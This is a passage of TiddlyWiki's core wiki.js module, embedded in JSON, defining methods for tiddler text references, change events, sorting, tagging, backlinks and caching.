"module-type": "wikimethod"
},
"$:/core/modules/wiki.js": {
"title": "$:/core/modules/wiki.js",
"text": "/*\\\ntitle: $:/core/modules/wiki.js\ntype: application/javascript\nmodule-type: wikimethod\n\nExtension methods for the $tw.Wiki object\n\nAdds the following properties to the wiki object:\n\n* `eventListeners` is a hashmap by type of arrays of listener functions\n* `changedTiddlers` is a hashmap describing changes to named tiddlers since wiki change events were last dispatched. Each entry is a hashmap containing two fields:\n\tmodified: true/false\n\tdeleted: true/false\n* `changeCount` is a hashmap by tiddler title containing a numerical index that starts at zero and is incremented each time a tiddler is created changed or deleted\n* `caches` is a hashmap by tiddler title containing a further hashmap of named cache objects. Caches are automatically cleared when a tiddler is modified or deleted\n* `globalCache` is a hashmap by cache name of cache objects that are cleared whenever any tiddler change occurs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar USER_NAME_TITLE = \"$:/status/UserName\",\n\tTIMESTAMP_DISABLE_TITLE = \"$:/config/TimestampDisable\";\n\n/*\nAdd available indexers to this wiki\n*/\nexports.addIndexersToWiki = function() {\n\tvar self = this;\n\t$tw.utils.each($tw.modules.applyMethods(\"indexer\"),function(Indexer,name) {\n\t\tself.addIndexer(new Indexer(self),name);\n\t});\n};\n\n/*\nGet the value of a text reference. Text references can have any of these forms:\n\t<tiddlertitle>\n\t<tiddlertitle>!!<fieldname>\n\t!!<fieldname> - specifies a field of the current tiddlers\n\t<tiddlertitle>##<index>\n*/\nexports.getTextReference = function(textRef,defaultText,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle = tr.title || currTiddlerTitle;\n\tif(tr.field) {\n\t\tvar tiddler = this.getTiddler(title);\n\t\tif(tr.field === \"title\") { // Special case so we can return the title of a non-existent tiddler\n\t\t\treturn title;\n\t\t} else if(tiddler && $tw.utils.hop(tiddler.fields,tr.field)) {\n\t\t\treturn tiddler.getFieldString(tr.field);\n\t\t} else {\n\t\t\treturn defaultText;\n\t\t}\n\t} else if(tr.index) {\n\t\treturn this.extractTiddlerDataItem(title,tr.index,defaultText);\n\t} else {\n\t\treturn this.getTiddlerText(title,defaultText);\n\t}\n};\n\nexports.setTextReference = function(textRef,value,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle = tr.title || currTiddlerTitle;\n\tthis.setText(title,tr.field,tr.index,value);\n};\n\nexports.setText = function(title,field,index,value,options) {\n\toptions = options || {};\n\tvar creationFields = options.suppressTimestamp ? {} : this.getCreationFields(),\n\t\tmodificationFields = options.suppressTimestamp ? {} : this.getModificationFields();\n\t// Check if it is a reference to a tiddler field\n\tif(index) {\n\t\tvar data = this.getTiddlerData(title,Object.create(null));\n\t\tif(value !== undefined) {\n\t\t\tdata[index] = value;\n\t\t} else {\n\t\t\tdelete data[index];\n\t\t}\n\t\tthis.setTiddlerData(title,data,modificationFields);\n\t} else {\n\t\tvar tiddler = this.getTiddler(title),\n\t\t\tfields = {title: title};\n\t\tfields[field || \"text\"] = value;\n\t\tthis.addTiddler(new $tw.Tiddler(creationFields,tiddler,fields,modificationFields));\n\t}\n};\n\nexports.deleteTextReference = function(textRef,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle,tiddler,fields;\n\t// Check if it is a reference to a tiddler\n\tif(tr.title && !tr.field) {\n\t\tthis.deleteTiddler(tr.title);\n\t// Else check for a field reference\n\t} else if(tr.field) {\n\t\ttitle = tr.title || currTiddlerTitle;\n\t\ttiddler = this.getTiddler(title);\n\t\tif(tiddler && $tw.utils.hop(tiddler.fields,tr.field)) {\n\t\t\tfields = Object.create(null);\n\t\t\tfields[tr.field] = undefined;\n\t\t\tthis.addTiddler(new $tw.Tiddler(tiddler,fields,this.getModificationFields()));\n\t\t}\n\t}\n};\n\nexports.addEventListener = function(type,listener) {\n\tthis.eventListeners = this.eventListeners || {};\n\tthis.eventListeners[type] = this.eventListeners[type] || [];\n\tthis.eventListeners[type].push(listener);\t\n};\n\nexports.removeEventListener = function(type,listener) {\n\tvar listeners = this.eventListeners[type];\n\tif(listeners) {\n\t\tvar p = listeners.indexOf(listener);\n\t\tif(p !== -1) {\n\t\t\tlisteners.splice(p,1);\n\t\t}\n\t}\n};\n\nexports.dispatchEvent = function(type /*, args */) {\n\tvar args = Array.prototype.slice.call(arguments,1),\n\t\tlisteners = this.eventListeners[type];\n\tif(listeners) {\n\t\tfor(var p=0; p<listeners.length; p++) {\n\t\t\tvar listener = listeners[p];\n\t\t\tlistener.apply(listener,args);\n\t\t}\n\t}\n};\n\n/*\nCauses a tiddler to be marked as changed, incrementing the change count, and triggers event handlers.\nThis method should be called after the changes it describes have been made to the wiki.tiddlers[] array.\n\ttitle: Title of tiddler\n\tisDeleted: defaults to false (meaning the tiddler has been created or modified),\n\t\ttrue if the tiddler has been deleted\n*/\nexports.enqueueTiddlerEvent = function(title,isDeleted) {\n\t// Record the touch in the list of changed tiddlers\n\tthis.changedTiddlers = this.changedTiddlers || Object.create(null);\n\tthis.changedTiddlers[title] = this.changedTiddlers[title] || Object.create(null);\n\tthis.changedTiddlers[title][isDeleted ? \"deleted\" : \"modified\"] = true;\n\t// Increment the change count\n\tthis.changeCount = this.changeCount || Object.create(null);\n\tif($tw.utils.hop(this.changeCount,title)) {\n\t\tthis.changeCount[title]++;\n\t} else {\n\t\tthis.changeCount[title] = 1;\n\t}\n\t// Trigger events\n\tthis.eventListeners = this.eventListeners || {};\n\tif(!this.eventsTriggered) {\n\t\tvar self = this;\n\t\t$tw.utils.nextTick(function() {\n\t\t\tvar changes = self.changedTiddlers;\n\t\t\tself.changedTiddlers = Object.create(null);\n\t\t\tself.eventsTriggered = false;\n\t\t\tif($tw.utils.count(changes) > 0) {\n\t\t\t\tself.dispatchEvent(\"change\",changes);\n\t\t\t}\n\t\t});\n\t\tthis.eventsTriggered = true;\n\t}\n};\n\nexports.getSizeOfTiddlerEventQueue = function() {\n\treturn $tw.utils.count(this.changedTiddlers);\n};\n\nexports.clearTiddlerEventQueue = function() {\n\tthis.changedTiddlers = Object.create(null);\n\tthis.changeCount = Object.create(null);\n};\n\nexports.getChangeCount = function(title) {\n\tthis.changeCount = this.changeCount || Object.create(null);\n\tif($tw.utils.hop(this.changeCount,title)) {\n\t\treturn this.changeCount[title];\n\t} else {\n\t\treturn 0;\n\t}\n};\n\n/*\nGenerate an unused title from the specified base\n*/\nexports.generateNewTitle = function(baseTitle,options) {\n\toptions = options || {};\n\tvar c = 0,\n\t\ttitle = baseTitle;\n\twhile(this.tiddlerExists(title) || this.isShadowTiddler(title) || this.findDraft(title)) {\n\t\ttitle = baseTitle + \n\t\t\t(options.prefix || \" \") + \n\t\t\t(++c);\n\t}\n\treturn title;\n};\n\nexports.isSystemTiddler = function(title) {\n\treturn title && title.indexOf(\"$:/\") === 0;\n};\n\nexports.isTemporaryTiddler = function(title) {\n\treturn title && title.indexOf(\"$:/temp/\") === 0;\n};\n\nexports.isImageTiddler = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\t\t\n\t\tvar contentTypeInfo = $tw.config.contentTypeInfo[tiddler.fields.type || \"text/vnd.tiddlywiki\"];\n\t\treturn !!contentTypeInfo && contentTypeInfo.flags.indexOf(\"image\") !== -1;\n\t} else {\n\t\treturn null;\n\t}\n};\n\nexports.isBinaryTiddler = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\t\t\n\t\tvar contentTypeInfo = $tw.config.contentTypeInfo[tiddler.fields.type || \"text/vnd.tiddlywiki\"];\n\t\treturn !!contentTypeInfo && contentTypeInfo.encoding === \"base64\";\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLike addTiddler() except it will silently reject any plugin tiddlers that are older than the currently loaded version. Returns true if the tiddler was imported\n*/\nexports.importTiddler = function(tiddler) {\n\tvar existingTiddler = this.getTiddler(tiddler.fields.title);\n\t// Check if we're dealing with a plugin\n\tif(tiddler && tiddler.hasField(\"plugin-type\") && tiddler.hasField(\"version\") && existingTiddler && existingTiddler.hasField(\"plugin-type\") && existingTiddler.hasField(\"version\")) {\n\t\t// Reject the incoming plugin if it is older\n\t\tif(!$tw.utils.checkVersions(tiddler.fields.version,existingTiddler.fields.version)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t// Fall through to adding the tiddler\n\tthis.addTiddler(tiddler);\n\treturn true;\n};\n\n/*\nReturn a hashmap of the fields that should be set when a tiddler is created\n*/\nexports.getCreationFields = function() {\n\tif(this.getTiddlerText(TIMESTAMP_DISABLE_TITLE,\"\").toLowerCase() !== \"yes\") {\n\t\tvar fields = {\n\t\t\t\tcreated: new Date()\n\t\t\t},\n\t\t\tcreator = this.getTiddlerText(USER_NAME_TITLE);\n\t\tif(creator) {\n\t\t\tfields.creator = creator;\n\t\t}\n\t\treturn fields;\n\t} else {\n\t\treturn {};\n\t}\n};\n\n/*\nReturn a hashmap of the fields that should be set when a tiddler is modified\n*/\nexports.getModificationFields = function() {\n\tif(this.getTiddlerText(TIMESTAMP_DISABLE_TITLE,\"\").toLowerCase() !== \"yes\") {\n\t\tvar fields = Object.create(null),\n\t\t\tmodifier = this.getTiddlerText(USER_NAME_TITLE);\n\t\tfields.modified = new Date();\n\t\tif(modifier) {\n\t\t\tfields.modifier = modifier;\n\t\t}\n\t\treturn fields;\n\t} else {\n\t\treturn {};\n\t}\n};\n\n/*\nReturn a sorted array of tiddler titles. Options include:\nsortField: field to sort by\nexcludeTag: tag to exclude\nincludeSystem: whether to include system tiddlers (defaults to false)\n*/\nexports.getTiddlers = function(options) {\n\toptions = options || Object.create(null);\n\tvar self = this,\n\t\tsortField = options.sortField || \"title\",\n\t\ttiddlers = [], t, titles = [];\n\tthis.each(function(tiddler,title) {\n\t\tif(options.includeSystem || !self.isSystemTiddler(title)) {\n\t\t\tif(!options.excludeTag || !tiddler.hasTag(options.excludeTag)) {\n\t\t\t\ttiddlers.push(tiddler);\n\t\t\t}\n\t\t}\n\t});\n\ttiddlers.sort(function(a,b) {\n\t\tvar aa = a.fields[sortField].toLowerCase() || \"\",\n\t\t\tbb = b.fields[sortField].toLowerCase() || \"\";\n\t\tif(aa < bb) {\n\t\t\treturn -1;\n\t\t} else {\n\t\t\tif(aa > bb) {\n\t\t\t\treturn 1;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t});\n\tfor(t=0; t<tiddlers.length; t++) {\n\t\ttitles.push(tiddlers[t].fields.title);\n\t}\n\treturn titles;\n};\n\nexports.countTiddlers = function(excludeTag) {\n\tvar tiddlers = this.getTiddlers({excludeTag: excludeTag});\n\treturn $tw.utils.count(tiddlers);\n};\n\n/*\nReturns a function iterator(callback) that iterates through the specified titles, and invokes the callback with callback(tiddler,title)\n*/\nexports.makeTiddlerIterator = function(titles) {\n\tvar self = this;\n\tif(!$tw.utils.isArray(titles)) {\n\t\ttitles = Object.keys(titles);\n\t} else {\n\t\ttitles = titles.slice(0);\n\t}\n\treturn function(callback) {\n\t\ttitles.forEach(function(title) {\n\t\t\tcallback(self.getTiddler(title),title);\n\t\t});\n\t};\n};\n\n/*\nSort an array of tiddler titles by a specified field\n\ttitles: array of titles (sorted in place)\n\tsortField: name of field to sort by\n\tisDescending: true if the sort should be descending\n\tisCaseSensitive: true if the sort should consider upper and lower case letters to be different\n*/\nexports.sortTiddlers = function(titles,sortField,isDescending,isCaseSensitive,isNumeric,isAlphaNumeric) {\n\tvar self = this;\n\ttitles.sort(function(a,b) {\n\t\tvar x,y,\n\t\t\tcompareNumbers = function(x,y) {\n\t\t\t\tvar result = \n\t\t\t\t\tisNaN(x) && !isNaN(y) ? (isDescending ? -1 : 1) :\n\t\t\t\t\t!isNaN(x) && isNaN(y) ? (isDescending ? 1 : -1) :\n\t\t\t\t\t\t\t\t\t\t\t(isDescending ? y - x : x - y);\n\t\t\t\treturn result;\n\t\t\t};\n\t\tif(sortField !== \"title\") {\n\t\t\tvar tiddlerA = self.getTiddler(a),\n\t\t\t\ttiddlerB = self.getTiddler(b);\n\t\t\tif(tiddlerA) {\n\t\t\t\ta = tiddlerA.fields[sortField] || \"\";\n\t\t\t} else {\n\t\t\t\ta = \"\";\n\t\t\t}\n\t\t\tif(tiddlerB) {\n\t\t\t\tb = tiddlerB.fields[sortField] || \"\";\n\t\t\t} else {\n\t\t\t\tb = \"\";\n\t\t\t}\n\t\t}\n\t\tx = Number(a);\n\t\ty = Number(b);\n\t\tif(isNumeric && (!isNaN(x) || !isNaN(y))) {\n\t\t\treturn compareNumbers(x,y);\n\t\t} else if(isAlphaNumeric) {\n\t\t\treturn isDescending ? b.localeCompare(a,undefined,{numeric: true,sensitivity: \"base\"}) : a.localeCompare(b,undefined,{numeric: true,sensitivity: \"base\"});\n\t\t} else if($tw.utils.isDate(a) && $tw.utils.isDate(b)) {\n\t\t\treturn isDescending ? b - a : a - b;\n\t\t} else {\n\t\t\ta = String(a);\n\t\t\tb = String(b);\n\t\t\tif(!isCaseSensitive) {\n\t\t\t\ta = a.toLowerCase();\n\t\t\t\tb = b.toLowerCase();\n\t\t\t}\n\t\t\treturn isDescending ? b.localeCompare(a) : a.localeCompare(b);\n\t\t}\n\t});\n};\n\n/*\nFor every tiddler invoke a callback(title,tiddler) with `this` set to the wiki object. Options include:\nsortField: field to sort by\nexcludeTag: tag to exclude\nincludeSystem: whether to include system tiddlers (defaults to false)\n*/\nexports.forEachTiddler = function(/* [options,]callback */) {\n\tvar arg = 0,\n\t\toptions = arguments.length >= 2 ? arguments[arg++] : {},\n\t\tcallback = arguments[arg++],\n\t\ttitles = this.getTiddlers(options),\n\t\tt, tiddler;\n\tfor(t=0; t<titles.length; t++) {\n\t\ttiddler = this.getTiddler(titles[t]);\n\t\tif(tiddler) {\n\t\t\tcallback.call(this,tiddler.fields.title,tiddler);\n\t\t}\n\t}\n};\n\n/*\nReturn an array of tiddler titles that are directly linked within the given parse tree\n */\nexports.extractLinks = function(parseTreeRoot) {\n\t// Count up the links\n\tvar links = [],\n\t\tcheckParseTree = function(parseTree) {\n\t\t\tfor(var t=0; t<parseTree.length; t++) {\n\t\t\t\tvar parseTreeNode = parseTree[t];\n\t\t\t\tif(parseTreeNode.type === \"link\" && parseTreeNode.attributes.to && parseTreeNode.attributes.to.type === \"string\") {\n\t\t\t\t\tvar value = parseTreeNode.attributes.to.value;\n\t\t\t\t\tif(links.indexOf(value) === -1) {\n\t\t\t\t\t\tlinks.push(value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(parseTreeNode.children) {\n\t\t\t\t\tcheckParseTree(parseTreeNode.children);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\tcheckParseTree(parseTreeRoot);\n\treturn links;\n};\n\n/*\nReturn an array of tiddler titles that are directly linked from the specified tiddler\n*/\nexports.getTiddlerLinks = function(title) {\n\tvar self = this;\n\t// We'll cache the links so they only get computed if the tiddler changes\n\treturn this.getCacheForTiddler(title,\"links\",function() {\n\t\t// Parse the tiddler\n\t\tvar parser = self.parseTiddler(title);\n\t\tif(parser) {\n\t\t\treturn self.extractLinks(parser.tree);\n\t\t}\n\t\treturn [];\n\t});\n};\n\n/*\nReturn an array of tiddler titles that link to the specified tiddler\n*/\nexports.getTiddlerBacklinks = function(targetTitle) {\n\tvar self = this,\n\t\tbacklinksIndexer = this.getIndexer(\"BacklinksIndexer\"),\n\t\tbacklinks = backlinksIndexer && backlinksIndexer.lookup(targetTitle);\n\n\tif(!backlinks) {\n\t\tbacklinks = [];\n\t\tthis.forEachTiddler(function(title,tiddler) {\n\t\t\tvar links = self.getTiddlerLinks(title);\n\t\t\tif(links.indexOf(targetTitle) !== -1) {\n\t\t\t\tbacklinks.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn backlinks;\n};\n\n/*\nReturn a hashmap of tiddler titles that are referenced but not defined. Each value is the number of times the missing tiddler is referenced\n*/\nexports.getMissingTitles = function() {\n\tvar self = this,\n\t\tmissing = [];\n// We should cache the missing tiddler list, even if we recreate it every time any tiddler is modified\n\tthis.forEachTiddler(function(title,tiddler) {\n\t\tvar links = self.getTiddlerLinks(title);\n\t\t$tw.utils.each(links,function(link) {\n\t\t\tif((!self.tiddlerExists(link) && !self.isShadowTiddler(link)) && missing.indexOf(link) === -1) {\n\t\t\t\tmissing.push(link);\n\t\t\t}\n\t\t});\n\t});\n\treturn missing;\n};\n\nexports.getOrphanTitles = function() {\n\tvar self = this,\n\t\torphans = this.getTiddlers();\n\tthis.forEachTiddler(function(title,tiddler) {\n\t\tvar links = self.getTiddlerLinks(title);\n\t\t$tw.utils.each(links,function(link) {\n\t\t\tvar p = orphans.indexOf(link);\n\t\t\tif(p !== -1) {\n\t\t\t\torphans.splice(p,1);\n\t\t\t}\n\t\t});\n\t});\n\treturn orphans; // Todo\n};\n\n/*\nRetrieves a list of the tiddler titles that are tagged with a given tag\n*/\nexports.getTiddlersWithTag = function(tag) {\n\t// Try to use the indexer\n\tvar self = this,\n\t\ttagIndexer = this.getIndexer(\"TagIndexer\"),\n\t\tresults = tagIndexer && tagIndexer.subIndexers[3].lookup(tag);\n\tif(!results) {\n\t\t// If not available, perform a manual scan\n\t\tresults = this.getGlobalCache(\"taglist-\" + tag,function() {\n\t\t\tvar tagmap = self.getTagMap();\n\t\t\treturn self.sortByList(tagmap[tag],tag);\n\t\t});\n\t}\n\treturn results;\n};\n\n/*\nGet a hashmap by tag of arrays of tiddler titles\n*/\nexports.getTagMap = function() {\n\tvar self = this;\n\treturn this.getGlobalCache(\"tagmap\",function() {\n\t\tvar tags = Object.create(null),\n\t\t\tstoreTags = function(tagArray,title) {\n\t\t\t\tif(tagArray) {\n\t\t\t\t\tfor(var index=0; index<tagArray.length; index++) {\n\t\t\t\t\t\tvar tag = tagArray[index];\n\t\t\t\t\t\tif($tw.utils.hop(tags,tag)) {\n\t\t\t\t\t\t\ttags[tag].push(title);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttags[tag] = [title];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\ttitle, tiddler;\n\t\t// Collect up all the tags\n\t\tself.eachShadow(function(tiddler,title) {\n\t\t\tif(!self.tiddlerExists(title)) {\n\t\t\t\ttiddler = self.getTiddler(title);\n\t\t\t\tstoreTags(tiddler.fields.tags,title);\n\t\t\t}\n\t\t});\n\t\tself.each(function(tiddler,title) {\n\t\t\tstoreTags(tiddler.fields.tags,title);\n\t\t});\n\t\treturn tags;\n\t});\n};\n\n/*\nLookup a given tiddler and return a list of all the tiddlers that include it in the specified list field\n*/\nexports.findListingsOfTiddler = function(targetTitle,fieldName) {\n\tfieldName = fieldName || \"list\";\n\tvar titles = [];\n\tthis.each(function(tiddler,title) {\n\t\tvar list = $tw.utils.parseStringArray(tiddler.fields[fieldName]);\n\t\tif(list && list.indexOf(targetTitle) !== -1) {\n\t\t\ttitles.push(title);\n\t\t}\n\t});\n\treturn titles;\n};\n\n/*\nSorts an array of tiddler titles according to an ordered list\n*/\nexports.sortByList = function(array,listTitle) {\n\tvar self = this,\n\t\treplacedTitles = Object.create(null);\n\t// Given a title, this function will place it in the correct location\n\t// within titles.\n\tfunction moveItemInList(title) {\n\t\tif(!$tw.utils.hop(replacedTitles, title)) {\n\t\t\treplacedTitles[title] = true;\n\t\t\tvar newPos = -1,\n\t\t\t\ttiddler = self.getTiddler(title);\n\t\t\tif(tiddler) {\n\t\t\t\tvar beforeTitle = tiddler.fields[\"list-before\"],\n\t\t\t\t\tafterTitle = tiddler.fields[\"list-after\"];\n\t\t\t\tif(beforeTitle === \"\") {\n\t\t\t\t\tnewPos = 0;\n\t\t\t\t} else if(afterTitle === \"\") {\n\t\t\t\t\tnewPos = titles.length;\n\t\t\t\t} else if(beforeTitle) {\n\t\t\t\t\t// if this title is placed relative\n\t\t\t\t\t// to another title, make sure that\n\t\t\t\t\t// title is placed before we place\n\t\t\t\t\t// this one.\n\t\t\t\t\tmoveItemInList(beforeTitle);\n\t\t\t\t\tnewPos = titles.indexOf(beforeTitle);\n\t\t\t\t} else if(afterTitle) {\n\t\t\t\t\t// Same deal\n\t\t\t\t\tmoveItemInList(afterTitle);\n\t\t\t\t\tnewPos = titles.indexOf(afterTitle);\n\t\t\t\t\tif(newPos >= 0) {\n\t\t\t\t\t\t++newPos;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If a new position is specified, let's move it\n\t\t\t\tif (newPos !== -1) {\n\t\t\t\t\t// get its current Pos, and make sure\n\t\t\t\t\t// sure that it's _actually_ in the list\n\t\t\t\t\t// and that it would _actually_ move\n\t\t\t\t\t// (#4275) We don't bother calling\n\t\t\t\t\t// indexOf unless we have a new\n\t\t\t\t\t// position to work with\n\t\t\t\t\tvar currPos = titles.indexOf(title);\n\t\t\t\t\tif(currPos >= 0 && newPos !== currPos) {\n\t\t\t\t\t\t// move it!\n\t\t\t\t\t\ttitles.splice(currPos,1);\n\t\t\t\t\t\tif(newPos >= currPos) {\n\t\t\t\t\t\t\tnewPos--;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttitles.splice(newPos,0,title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tvar list = this.getTiddlerList(listTitle);\n\tif(!array || array.length === 0) {\n\t\treturn [];\n\t} else {\n\t\tvar titles = [], t, title;\n\t\t// First place any entries that are present in the list\n\t\tfor(t=0; t<list.length; t++) {\n\t\t\ttitle = list[t];\n\t\t\tif(array.indexOf(title) !== -1) {\n\t\t\t\ttitles.push(title);\n\t\t\t}\n\t\t}\n\t\t// Then place any remaining entries\n\t\tfor(t=0; t<array.length; t++) {\n\t\t\ttitle = array[t];\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\ttitles.push(title);\n\t\t\t}\n\t\t}\n\t\t// Finally obey the list-before and list-after fields of each tiddler in turn\n\t\tvar sortedTitles = titles.slice(0);\n\t\tfor(t=0; t<sortedTitles.length; t++) {\n\t\t\ttitle = sortedTitles[t];\n\t\t\tmoveItemInList(title);\n\t\t}\n\t\treturn titles;\n\t}\n};\n\nexports.getSubTiddler = function(title,subTiddlerTitle) {\n\tvar bundleInfo = this.getPluginInfo(title) || this.getTiddlerDataCached(title);\n\tif(bundleInfo && bundleInfo.tiddlers) {\n\t\tvar subTiddler = bundleInfo.tiddlers[subTiddlerTitle];\n\t\tif(subTiddler) {\n\t\t\treturn new $tw.Tiddler(subTiddler);\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRetrieve a tiddler as a JSON string of the fields\n*/\nexports.getTiddlerAsJson = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\n\t\tvar fields = Object.create(null);\n\t\t$tw.utils.each(tiddler.fields,function(value,name) {\n\t\t\tfields[name] = tiddler.getFieldString(name);\n\t\t});\n\t\treturn JSON.stringify(fields);\n\t} else {\n\t\treturn JSON.stringify({title: title});\n\t}\n};\n\nexports.getTiddlersAsJson = function(filter,spaces) {\n\tvar tiddlers = this.filterTiddlers(filter),\n\t\tspaces = (spaces === undefined) ? $tw.config.preferences.jsonSpaces : spaces,\n\t\tdata = [];\n\tfor(var t=0;t<tiddlers.length; t++) {\n\t\tvar tiddler = this.getTiddler(tiddlers[t]);\n\t\tif(tiddler) {\n\t\t\tvar fields = new Object();\n\t\t\tfor(var field in tiddler.fields) {\n\t\t\t\tfields[field] = tiddler.getFieldString(field);\n\t\t\t}\n\t\t\tdata.push(fields);\n\t\t}\n\t}\n\treturn JSON.stringify(data,null,spaces);\n};\n\n/*\nGet the content of a tiddler as a JavaScript object. How this is done depends on the type of the tiddler:\n\napplication/json: the tiddler JSON is parsed into an object\napplication/x-tiddler-dictionary: the tiddler is parsed as sequence of name:value pairs\n\nOther types currently just return null.\n\ntitleOrTiddler: string tiddler title or a tiddler object\ndefaultData: default data to be returned if the tiddler is missing or doesn't contain data\n\nNote that the same value is returned for repeated calls for the same tiddler data. The value is frozen to prevent modification; otherwise modifications would be visible to all callers\n*/\nexports.getTiddlerDataCached = function(titleOrTiddler,defaultData) {\n\tvar self = this,\n\t\ttiddler = titleOrTiddler;\n\tif(!(tiddler instanceof $tw.Tiddler)) {\n\t\ttiddler = this.getTiddler(tiddler);\t\n\t}\n\tif(tiddler) {\n\t\treturn this.getCacheForTiddler(tiddler.fields.title,\"data\",function() {\n\t\t\t// Return the frozen value\n\t\t\tvar value = self.getTiddlerData(tiddler.fields.title,undefined);\n\t\t\t$tw.utils.deepFreeze(value);\n\t\t\treturn value;\n\t\t}) || defaultData;\n\t} else {\n\t\treturn defaultData;\n\t}\n};\n\n/*\nAlternative, uncached version of getTiddlerDataCached(). The return value can be mutated freely and reused\n*/\nexports.getTiddlerData = function(titleOrTiddler,defaultData) {\n\tvar tiddler = titleOrTiddler,\n\t\tdata;\n\tif(!(tiddler instanceof $tw.Tiddler)) {\n\t\ttiddler = this.getTiddler(tiddler);\t\n\t}\n\tif(tiddler && tiddler.fields.text) {\n\t\tswitch(tiddler.fields.type) {\n\t\t\tcase \"application/json\":\n\t\t\t\t// JSON tiddler\n\t\t\t\ttry {\n\t\t\t\t\tdata = JSON.parse(tiddler.fields.text);\n\t\t\t\t} catch(ex) {\n\t\t\t\t\treturn defaultData;\n\t\t\t\t}\n\t\t\t\treturn data;\n\t\t\tcase \"application/x-tiddler-dictionary\":\n\t\t\t\treturn $tw.utils.parseFields(tiddler.fields.text);\n\t\t}\n\t}\n\treturn defaultData;\n};\n\n/*\nExtract an indexed field from within a data tiddler\n*/\nexports.extractTiddlerDataItem = function(titleOrTiddler,index,defaultText) {\n\tvar data = this.getTiddlerDataCached(titleOrTiddler,Object.create(null)),\n\t\ttext;\n\tif(data && $tw.utils.hop(data,index)) {\n\t\ttext = data[index];\n\t}\n\tif(typeof text === \"string\" || typeof text === \"number\") {\n\t\treturn text.toString();\n\t} else {\n\t\treturn defaultText;\n\t}\n};\n\n/*\nSet a tiddlers content to a JavaScript object. Currently this is done by setting the tiddler's type to \"application/json\" and setting the text to the JSON text of the data.\ntitle: title of tiddler\ndata: object that can be serialised to JSON\nfields: optional hashmap of additional tiddler fields to be set\n*/\nexports.setTiddlerData = function(title,data,fields) {\n\tvar existingTiddler = this.getTiddler(title),\n\t\tnewFields = {\n\t\t\ttitle: title\n\t};\n\tif(existingTiddler && existingTiddler.fields.type === \"application/x-tiddler-dictionary\") {\n\t\tnewFields.text = $tw.utils.makeTiddlerDictionary(data);\n\t} else {\n\t\tnewFields.type = \"application/json\";\n\t\tnewFields.text = JSON.stringify(data,null,$tw.config.preferences.jsonSpaces);\n\t}\n\tthis.addTiddler(new $tw.Tiddler(this.getCreationFields(),existingTiddler,fields,newFields,this.getModificationFields()));\n};\n\n/*\nReturn the content of a tiddler as an array containing each line\n*/\nexports.getTiddlerList = function(title,field,index) {\n\tif(index) {\n\t\treturn $tw.utils.parseStringArray(this.extractTiddlerDataItem(title,index,\"\"));\n\t}\n\tfield = field || \"list\";\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\n\t\treturn ($tw.utils.parseStringArray(tiddler.fields[field]) || []).slice(0);\n\t}\n\treturn [];\n};\n\n// Return a named global cache object. Global cache objects are cleared whenever a tiddler change occurs\nexports.getGlobalCache = function(cacheName,initializer) {\n\tthis.globalCache = this.globalCache || Object.create(null);\n\tif($tw.utils.hop(this.globalCache,cacheName)) {\n\t\treturn this.globalCache[cacheName];\n\t} else {\n\t\tthis.globalCache[cacheName] = initializer();\n\t\treturn this.globalCache[cacheName];\n\t}\n};\n\nexports.clearGlobalCache = function() {\n\tthis.globalCache = Object.create(null);\n};\n\n// Return the named cache object for a tiddler. If the cache doesn't exist then the initializer function is invoked to create it\nexports.getCacheForTiddler = function(title,cacheName,initializer) {\n\tthis.caches = this.caches || Object.create(null);\n\tvar caches = this.caches[title];\n\tif(caches && caches[cacheName]) {\n\t\treturn caches[cacheName];\n\t} else {\n\t\tif(!caches) {\n\t\t\tcaches = Object.create(null);\n\t\t\tthis.caches[title] = caches;\n\t\t}\n\t\tcaches[cacheName] = initializer();\n\t\treturn caches[cacheName];\n\t}\n};\n\n// Clear all caches associated with a particular tiddler, or, if the title is null, clear all the caches for all the tiddlers\nexports.clearCache = function(title) {\n\tif(title) {\n\t\tthis.caches = this.caches || Object.create(null);\n\t\tif($tw.utils.hop(this.caches,title)) {\n\t\t\tdelete this.caches[title];\n\t\t}\n\t} else {\n\t\tthis.caches = Object.create(null);\n\t}\n};\n\nexports.initParsers = function(moduleType) {\n\t// Install the parser modules\n\t$tw.Wiki.parsers = {};\n\tvar self = this;\n\t$tw.modules.forEachModuleOfType(\"parser\",function(title,module) {\n\t\tfor(var f in module) {\n\t\t\tif($tw.utils.hop(module,f)) {\n\t\t\t\t$tw.Wiki.parsers[f] = module[f]; // Store the parser class\n\t\t\t}\n\t\t}\n\t});\n\t// Use the generic binary parser for any binary types not registered so far\n\tif($tw.Wiki.parsers[\"application/octet-stream\"]) {\n\t\tObject.keys($tw.config.contentTypeInfo).forEach(function(type) {\n\t\t\tif(!$tw.utils.hop($tw.Wiki.parsers,type) && $tw.config.contentTypeInfo[type].encoding === \"base64\") {\n\t\t\t\t$tw.Wiki.parsers[type] = $tw.Wiki.parsers[\"application/octet-stream\"];\n\t\t\t}\n\t\t});\t\t\n\t}\n};\n\n/*\nParse a block of text of a specified MIME type\n\ttype: content type of text to be parsed\n\ttext: text\n\toptions: see below\nOptions include:\n\tparseAsInline: if true, the text of the tiddler will be parsed as an inline run\n\t_canonical_uri: optional string of the canonical 